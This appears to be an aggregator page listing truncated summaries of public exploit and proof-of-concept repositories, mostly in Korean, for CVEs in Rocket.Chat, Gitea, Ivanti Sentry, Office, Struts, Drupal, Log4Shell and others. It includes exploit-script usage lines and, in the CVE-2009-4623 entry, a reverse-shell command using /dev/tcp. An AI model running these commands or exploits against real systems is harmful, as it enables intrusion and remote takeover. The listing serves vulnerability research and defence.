Rocket-Chat-3.12.1-PoC-CVE-2021-22911-

Rocket-Chat-3.12.1-PoC-CVE-2021-22911- 1. 로그인 페이지로 이동 2. 새 계정 등록, 비밀번호를 P@$$w0rd!1234로 설정 3. 스크립트 실행 -u = 낮은 권한 사용자 이메일 2FA 없음 -a = 관리자 이메일 -t = URL 예: http://rocketchat.local python3 rocketchat.py -u [email protected] -a [email protected] -t http://192.168.169.164:3000 4. RCE로 임의 코드 실행...

Peyara

Exploit 제목: Peyara Remote Mouse v1.0.1 - 원격 코드 실행 RCE 날짜: 2025-05-30 Exploit 작성자: tmrswrr 소프트웨어 링크:https://peyara-remote-mouse.vercel.app/ 플랫폼: Windows 버전: v1.0.1 테스트 환경: Windows 10 취약점 설명 Peyara Remote Mouse v1.0.1은 WebSocket 명령 인터페이스포트 1313에 인증되지 않은 원격 코드 실행 취약점을 포함하고 있습니다. 애플리케이션이 WebSocket 연결...

CVE-2026-10523-Ivanti-sentry

CVE-2026-10523 - Ivanti Sentry RCE 탐지 도구 인증 우회 및 원격 코드 실행과 관련된 Ivanti Sentry 취약점을 테스트하기 위한 포괄적인 개념 증명PoC 탐지 도구입니다. 이 도구는 CVE-2026-10520 및 CVE-2026-10523에 취약한 시스템을 식별합니다. 개요 이 프로젝트는 Ivanti Sentry 인스턴스가 심각한 인증 우회 및 원격 코드 실행 결함에 취약한지 탐지하고 검증하도록 설계되었습니다. 이 도구는 Ivanti Sentry API 엔드포인트를 통해 특별히 제작된 메시지를...

CVE-2017-11499

Node.js 특정 보안 취약점 상수 해시테이블 시드 CVE-2017-11499 Node.js는 주어진 릴리스 버전에서 HashTable 시드가 일정했기 때문에 해시 플러딩 원격 DoS 공격에 취약했습니다. 이는 기본적으로 활성화된 V8 스냅샷으로 빌드되어 시작 시 초기에 무작위로 생성된 시드가 덮어쓰여졌기 때문입니다. 이 취약점을 보고해준 Google Project Zero의 Jann Horn에게 감사드립니다. 해시 플러딩 취약점의 일반적인 범주에 대해 여기에서 읽을 수 있습니다. 이 업데이트에서는 스냅샷이 기본적으로...

CVE-2026-60004

CVE-2026-60004 Gitea diffpatch RCE ★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★ https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b 概要 CVE-2026-60004 は Gitea における リモートコード実行 RCE 脆弱性です。 diffpatch API は提供されたパッチを git apply --cached...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 개요 이 저장소는 CVE-2025-55182 에 관한 TryHackMe 룸에서 연구한 보안 개념 을 문서화한 것입니다. 이는 다음에 영향을 미치는 심각한 취약점입니다: React Server Components RSC Next.js 및 RSC 기반 프레임워크 패키지: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack 이 결함은 다음을 가능하게 합니다: 단일 조작된 HTTP 요청을 통해 인증 ...

CVE-2023-20052

CVE-2023-20052 CVE-2023-20052 ClamAV DMG 파일 파서 정보 유출 취약점 ClamAV 버전 1.0.0 및 이전, 0.105.1 및 이전, 0.103.7 및 이전의 DMG 파일 파서에 있는 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 장치의 민감한 정보에 접근할 수 있습니다. 이 취약점은 XML 엔티티 치환을 활성화하여 XML 외부 엔티티 주입이 발생할 수 있기 때문입니다. 공격자는 조작된 DMG 파일을 제출하여 영향을 받는 장치에서 ClamAV가 스캔하도록 함으로써 이 취약점을 악용할 수...

CVE-2021-40444

CVE-2021-40444 PoC CVE-2021-40444를 악용하는 악성 docx 생성기 Microsoft Office Word 원격 코드 실행 이 스크립트의 생성은 실제 환경에서 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52, docx 파일에 대한 일부 리버스 엔지니어링을 기반으로 합니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 단계는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2023-31704

CVE-2023-31704 설명 Sourcecodester Online Computer and Laptop Store 1.0은 부적절한 접근 제어에 취약하며, 원격 공격자가 관리자 역할로 권한을 상승시킬 수 있습니다. 취약점 유형 부적절한 접근 제어 제품 공급업체 Sourcecodster 영향받는 제품 코드 베이스 Online Computer and Laptop Store - 1.0 영향받는 구성 요소 https://php-ocls/classes/Users.php?f=save 공격 유형 원격 권한 상승 영향 true CVE 기...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function 버전 3.1.6, 3.2.2 및 이전 버전에서 라우팅 기능을 사용할 때 사용자가 특수하게 조작된 SpEL을 라우팅 표현식으로 제공할 수 있으며, 이로 인해 원격 코드 실행 및 로컬 리소스 접근이 발생할 수 있습니다. PoC 저장소를 클론합니다 git clone https://github.com/jrbH4CK/CVE-2022-22963.git 폴더로 이동합니다 cd CVE-2022-22963 실행 권한을 변경합니다 chmode +x springCloud.sh 원하...

cve-2018-15473

CVE-2018-15473: OpenSSH 사용자 이름 열거 OpenSSH 7.7까지는 원격 공격자가 잘못된 인증 요청을 보내고 서버 응답의 차이를 관찰하여 유효한 사용자 이름을 열거할 수 있습니다. 세부 정보 필드| 값 ---|--- 영향받는 소프트웨어| OpenSSH 2.3 7.7 CVSS v3.1| 5.3 중간 공격 벡터| 네트워크 원격, 인증 불필요 근본 원인| 서버가 잘못된 사용자에 대한 조기 종료를 전체 패킷이 파싱될 때까지 지연시키지 않습니다 auth2-gss.c, auth2-hostbased.c,...

CVE-2025-25617

CVE-2025-25617 Unifiedtransform v2.0에는 잘못된 접근 제어Incorrect Access Control 취약점이 있어, 교사가 관리자에게만 허용된 역할인 강의 계획 항목을 생성할 수 있습니다. 공급업체: Unifiedtransform PoC 1단계: 교사Teacher로 애플리케이션에 로그인합니다. 2단계: 다음 엔드포인트로 이동합니다. /syllabus/create 3단계: 필수 필드를 입력하고 저장을 클릭합니다. 영향: 교사가 강의 계획 항목을 생성할 수 있게 되면, 이 기능은 관리자에게만 제한되어...

CVE-2024-32002-git-rce

이 저장소에는 README가 없습니다...

Pluck-Exploitation-by-skdevils

Pluck-Exploitation-by-skdevils 익스플로잇 제목: Pluck CMS 4.7.16 - 원격 코드 실행 RCE 인증됨 날짜: 13.03.2022 익스플로잇 작성자: Ashish Koli Shikari 공급업체 홈페이지: https://github.com/pluck-cms/pluck 버전: 4.7.16 테스트 환경: Ubuntu 20.04.3 LTS CVE: CVE-2022-26965...

CVE-2019-6340

Drupal Drupal 8.6.x RCE 익스플로잇 익스플로잇 CVE: CVE-2019-6340 CMS: Drupal CMS 버전: Drupal 8.6.x 테스트 완료 조건: Drupal 8.6.x, 8.6.10 또는 Drupal 8.5.11 RESTful Web Services 모듈이 활성화되어 있어야 함...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 버전 2.3.32 이전의 2.3.x 및 2.5.10.1 이전의 2.5.x에는 Jakarta Multipart 파서에 결함이 있습니다. 이 결함으로 인해 파일 업로드를 시도할 때 예외 처리 및 오류 메시지 생성이 잘못 수행됩니다. 그 결과, 공격자는 Content-Type, Content-Disposition 또는 Content-Length와 같은 조작된 HTTP 헤더를 악용하여 임의의 명령을 원격으로 실행할 수 있습니다. 실행 python exploit.py -r -c 참조...

log4shell-docker-lab

CVE-2021-44228용 Log4Shell 도커 랩 구성 요소 이 도커 랩은 다음 세 가지 구성 요소를 사용합니다: 취약한 spring-boot 애플리케이션 원격 코드 실행에 사용되는 .class 파일을 호스팅하는 HTTP 서버 특정 LDAP 쿼리를 HTTP 서버로 리디렉션하는 LDAP 리퍼럴 서버 도커 랩 설정 1. 도커 네트워크 docker network create log4shell 2. 도커 이미지 빌드 $ docker build -t log4shell-vulnapp vulnapp $ docker build -t...

CVE-2026-59310-POC

CVE-2026-59310 — VMware vCenter Syslog ディレクトリトラバーサルによる未認証 RCE 免責事項 ：本プロジェクトは許可された セキュリティテスト、脆弱性検証、防御研究のみを目的としています。明確な書面による許可を得た環境で使用してください。使用者は乱用によって生じる一切の結果に対して自ら責任を負うものとします。 目次 脆弱性概要 影響を受けるバージョン 脆弱性の原因 エクスプロイトチェーン 環境と再現検証 スクリプトによる再現 検出と自己診断 修正の推奨事項 よくある質問 参考リンク 脆弱性概要 項目| 内容 ---|--- 脆弱性名| VMware...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 설정 CVE-2018-11235-Git PoC 및 Docker ngrok을 이용한 터널링 Dockerfile 빌드 $ docker build -t cve-2018-11235 . ngrok용 사용자 지정 네트워크 생성 $ docker network create myngroknet Git HTTP 서버 시작 $ docker run -d -p 8080:80 --net myngroknet --name cve-2018-11235 cve-2018-1123...